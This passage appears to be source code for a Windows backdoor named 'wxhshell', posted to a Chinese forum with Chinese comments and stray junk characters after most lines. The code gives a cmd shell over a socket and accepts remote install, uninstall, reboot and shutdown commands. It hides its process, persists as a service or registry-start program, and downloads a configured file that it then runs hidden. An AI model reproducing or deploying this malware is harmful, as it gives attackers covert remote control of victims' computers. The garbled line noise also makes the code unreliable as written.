  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <OSvRWP)  
  }  j)6B^!  
  else { '$-,;vnP0  
pY#EXZ#   
    switch(cmd[0]) { ;XQ lj?:  
  X>8?p'*  
  // 帮助 fhx:EZ:~  
  case '?': { qFbUM;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )0MshgM  
    break; })vr*[  
  } E?U]w0g  
  // 安装 X$Vz  
  case 'i': { Go7hDmu  
    if(Install()) 5?0gC&WfN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZGDtzNG5h  
    else ,GP4I3D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f<p4Pkv  
    break; <>Ddxmw  
    } `h5eej&s(  
  // 卸载 L#q9_-(#  
  case 'r': { x`vs-Y:P  
    if(Uninstall()) HTyF<K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7WXjVZ  
    else #ic 2ofI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g~:(EO(w  
    break; e4%*I8 ^e  
    } e`M]ZG rr  
  // 显示 wxhshell 所在路径 9Ru%E>el-  
  case 'p': { 9|A-oS  
    char svExeFile[MAX_PATH]; &ntP~!w  
    strcpy(svExeFile,"\n\r"); 13_~)V  
      strcat(svExeFile,ExeFile); bRz^=  
        send(wsh,svExeFile,strlen(svExeFile),0); RXS|-_$  
    break; sxwW9_C  
    } }Rxg E~ F  
  // 重启 Ss! 3{VW  
  case 'b': { gLMea:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rue|<d1  
    if(Boot(REBOOT)) ^WW|AS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}v04Yy,o  
    else { )-:eQ{st`  
    closesocket(wsh); ;VlZd*M?  
    ExitThread(0); lc?mKW9  
    } #IGoz|m  
    break; m?% H<4X  
    } >VUQTg  
  // 关机 nk|N.%E  
  case 'd': { &z X 3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); giPo;z\c  
    if(Boot(SHUTDOWN)) JBEgiQ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W%9K5(e  
    else { zo7XmUI3P  
    closesocket(wsh); mQ60@_"Y=,  
    ExitThread(0); K#f`_SCW  
    } ]{2{:`s  
    break; Q] yT  
    } C6V&R1"s  
  // 获取shell 0"qim0%|DF  
  case 's': { /\a]S:V-j  
    CmdShell(wsh); )cqDvH  
    closesocket(wsh); avt>saR  
    ExitThread(0); ~{,vg4L  
    break; <_a70"i  
  } fqk Dk  
  // 退出 h?3,B0G  
  case 'x': { Lr?4Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t-7[Mk9@  
    CloseIt(wsh); eMl]td rI  
    break; {.3  
    } @Gn?8Ur%  
  // 离开 VXc+Wm*W  
  case 'q': { ,*nZf|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g y e(/N+I  
    closesocket(wsh); <.=#EV^i  
    WSACleanup(); QTjftcu  
    exit(1); <V:<x  
    break; Ns!3- Y  
        } m,gy9$  
  } H MjeGO.i  
  } &Ky u@Tt  
:ONuWNY N  
  // 提示信息 lO2T/1iMTW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [71#@^ye  
} ]oas  
  } X=p3KzzX  
&J^4Y!gt  
  return; ^/DII`A  
} {NY~JFM  
yXTK(<'  
// shell模块句柄 -q&7J' N  
int CmdShell(SOCKET sock) "0H56#eW  
{ oWx_O-_._  
STARTUPINFO si; R7B,Q(q2-  
ZeroMemory(&si,sizeof(si)); :e&n.i^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gVnws E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &8Jg9#  
PROCESS_INFORMATION ProcessInfo; 9o`7Kc/g  
char cmdline[]="cmd"; Hw?2XDv j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,u&tB|,W,  
  return 0; QlRoe| {  
} X<Th{kM2  
T}t E/  
// 自身启动模式 ovDJ{3L6O  
int StartFromService(void) t8DL9RW'  
{ &>W  (l.  
typedef struct fKT Dt%  
{ i+)}aA  
  DWORD ExitStatus; 9QH9gdiw  
  DWORD PebBaseAddress; 0eqi1;$b]  
  DWORD AffinityMask; pM&]&Nk  
  DWORD BasePriority; rQcRjh+E H  
  ULONG UniqueProcessId; U R1JbyT  
  ULONG InheritedFromUniqueProcessId; B.22 DuE#  
}   PROCESS_BASIC_INFORMATION; 0i5y(m&7  
bB:r]*_ s]  
PROCNTQSIP NtQueryInformationProcess; 3`fJzS%O  
+HOCVqx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :WK"-v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _(oP{w gB  
vv2vW=\  
  HANDLE             hProcess; ePq13!FC/  
  PROCESS_BASIC_INFORMATION pbi; ceb s.sF:  
gV"qV   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `dv}a-Q)c  
  if(NULL == hInst ) return 0; /ojO>Y[<   
Sa;<B:|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t;.^K\S4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j\`EUC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [lNqT1%]  
PTbA1.B  
  if (!NtQueryInformationProcess) return 0; Pt6hGSo.  
EjR_-8@FK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CxbSj,  
  if(!hProcess) return 0; Uvjdx(fY[a  
\~@[QGKN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *xE"8pN/  
c=A(o  
  CloseHandle(hProcess); 9Fy\t{ks  
""1#bs{n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bBUbw*DF)  
if(hProcess==NULL) return 0; j+DE|Q&]I  
1B)Y;hg6&  
HMODULE hMod; 7P<r`,~k-  
char procName[255]; bQ-Gp;]  
unsigned long cbNeeded; E`Jp(gK9F  
&W=V%t>Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <w0NPrS]  
-{X<*P4p  
  CloseHandle(hProcess); #XTY7,@ P  
[3O^0-:6E  
if(strstr(procName,"services")) return 1; // 以服务启动 $ Wit17j  
r]A" Og_U  
  return 0; // 注册表启动 }P<Qz^sr_  
} 1~}m.ER  
yZYK wKG  
// 主模块 .:}.b"%m  
int StartWxhshell(LPSTR lpCmdLine) #ZG3|#Q=L  
{ <y@,3DD3A9  
  SOCKET wsl; p91`<>Iw  
BOOL val=TRUE; |@ikx{W  
  int port=0; 3iE-6udCS  
  struct sockaddr_in door; ^FP} qW~;9  
ZCy`2Fir  
  if(wscfg.ws_autoins) Install(); 3@^MvoC  
tHrK~|  
port=atoi(lpCmdLine); }.0Bl&\UK  
{S[I_\3  
if(port<=0) port=wscfg.ws_port; ry.;u*F  
+>JdYV<?0  
  WSADATA data; 9$Ig~W)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0:Ar| to$m  
;% 2wGT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ho 3dsh)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); duX0Mc. 0P  
  door.sin_family = AF_INET; M]}l^ m>L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CF]i}xpWV  
  door.sin_port = htons(port); =%!e(N'p  
ePf+[pV3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dc08D4   
closesocket(wsl); (+|X<Bl:`  
return 1; LmP qLH'(Q  
} q5Fs)B  
YiD-F7hf.*  
  if(listen(wsl,2) == INVALID_SOCKET) { ]JOephX2R  
closesocket(wsl); k*5'L<&  
return 1; 24#bMt#^  
} !Citzor  
  Wxhshell(wsl); 0y)}.'  
  WSACleanup(); o4$Ott%Wm  
gfi AK%  
return 0; KX!i\NHz  
6gXIt9B.h$  
} l0I}&,+  
vt//)*(.$  
// 以NT服务方式启动 ujU=JlJ7dl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g %f*ofb  
{ &J_Z~^   
DWORD   status = 0; vu=me?m?(  
  DWORD   specificError = 0xfffffff; _w 5RK(  
N;uUx#z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?a S%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4t04}vp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `>s7M.|X  
  serviceStatus.dwWin32ExitCode     = 0; M :V2a<!c  
  serviceStatus.dwServiceSpecificExitCode = 0; -K"4rz  
  serviceStatus.dwCheckPoint       = 0; F8H'^3`b`U  
  serviceStatus.dwWaitHint       = 0; WvujcmOf  
sONBQ9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o/C(4q6d  
  if (hServiceStatusHandle==0) return; P''X_1oMC  
+noZ<KFW "  
status = GetLastError(); S=' wJ@?;  
  if (status!=NO_ERROR) MU'@2c  
{ zF8'i=b&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PocYFhWQ`  
    serviceStatus.dwCheckPoint       = 0; qD#VbvRc9+  
    serviceStatus.dwWaitHint       = 0; syv$XeG=}  
    serviceStatus.dwWin32ExitCode     = status; x[QZ@rGIW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9M_(He -  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z`Pd2VRp  
    return; vv6?V#{  
  } j Fma|y  
EM@ ;3.IO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ibJHU@l  
  serviceStatus.dwCheckPoint       = 0; 2#3^skj  
  serviceStatus.dwWaitHint       = 0; v!H:^!z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7 {f_fkbs  
} [*)Z!)  
ZPHXzi3j  
// 处理NT服务事件,比如:启动、停止 {XgnZ`*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5o#Yt  
{ FW8-'~  
switch(fdwControl) rz%<AF Z  
{ 1G;8MPU  
case SERVICE_CONTROL_STOP: JWROYED  
  serviceStatus.dwWin32ExitCode = 0; XF|WCZUnY%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z>;$im   
  serviceStatus.dwCheckPoint   = 0; H6 &7\Wbk  
  serviceStatus.dwWaitHint     = 0; mffIf1f  
  { t|V0x3X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &-%X:~|:X  
  } P}V=*g  
  return; k;I  &.H  
case SERVICE_CONTROL_PAUSE: EATu KLP\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q6IQV0{p  
  break; ,LZX@'5  
case SERVICE_CONTROL_CONTINUE: =p@8z /u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Wc4qJ.@  
  break; (vc|7DX M  
case SERVICE_CONTROL_INTERROGATE: k6"KB  
  break; -kpswP  
}; e8}Ezy"^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MgJ36zM  
} $Z?\>K0i  
#?[.JD51l  
// 标准应用程序主函数 `TtXZ[gP}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mM/i^zT  
{ Vw#{C>  
:!fG; )=  
// 获取操作系统版本 *1{S*`|cJy  
OsIsNt=GetOsVer(); &<5+!c V=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :jEPu3E:  
@]HXP_lyD/  
  // 从命令行安装 w!SkWS b,~  
  if(strpbrk(lpCmdLine,"iI")) Install(); l&$$w!n0w  
T[?6[,.  
  // 下载执行文件 PUdM[-zjh  
if(wscfg.ws_downexe) { M2@b1;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W `z 0"  
  WinExec(wscfg.ws_filenam,SW_HIDE); `zpbnxOL$T  
} ^YvB9XN  
g~S)aU\:,  
if(!OsIsNt) { % ."@Q$lA  
// 如果时win9x,隐藏进程并且设置为注册表启动 N^w'Hw0  
HideProc(); 1tMQqI`N  
StartWxhshell(lpCmdLine); !k&Q 5s:  
} @}s$]i$|-  
else 6rN(_Oi-  
  if(StartFromService()) x;\wY'  
  // 以服务方式启动 28andfl  
  StartServiceCtrlDispatcher(DispatchTable); gNpJ24QK  
else ;WU<CKYG*  
  // 普通方式启动 >dzsQ^Nj  
  StartWxhshell(lpCmdLine); E7zm{BX]  
Bi3+)k>u7  
return 0; Pw0Ci  
}
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只看该作者 1 发表于: 2006-10-10
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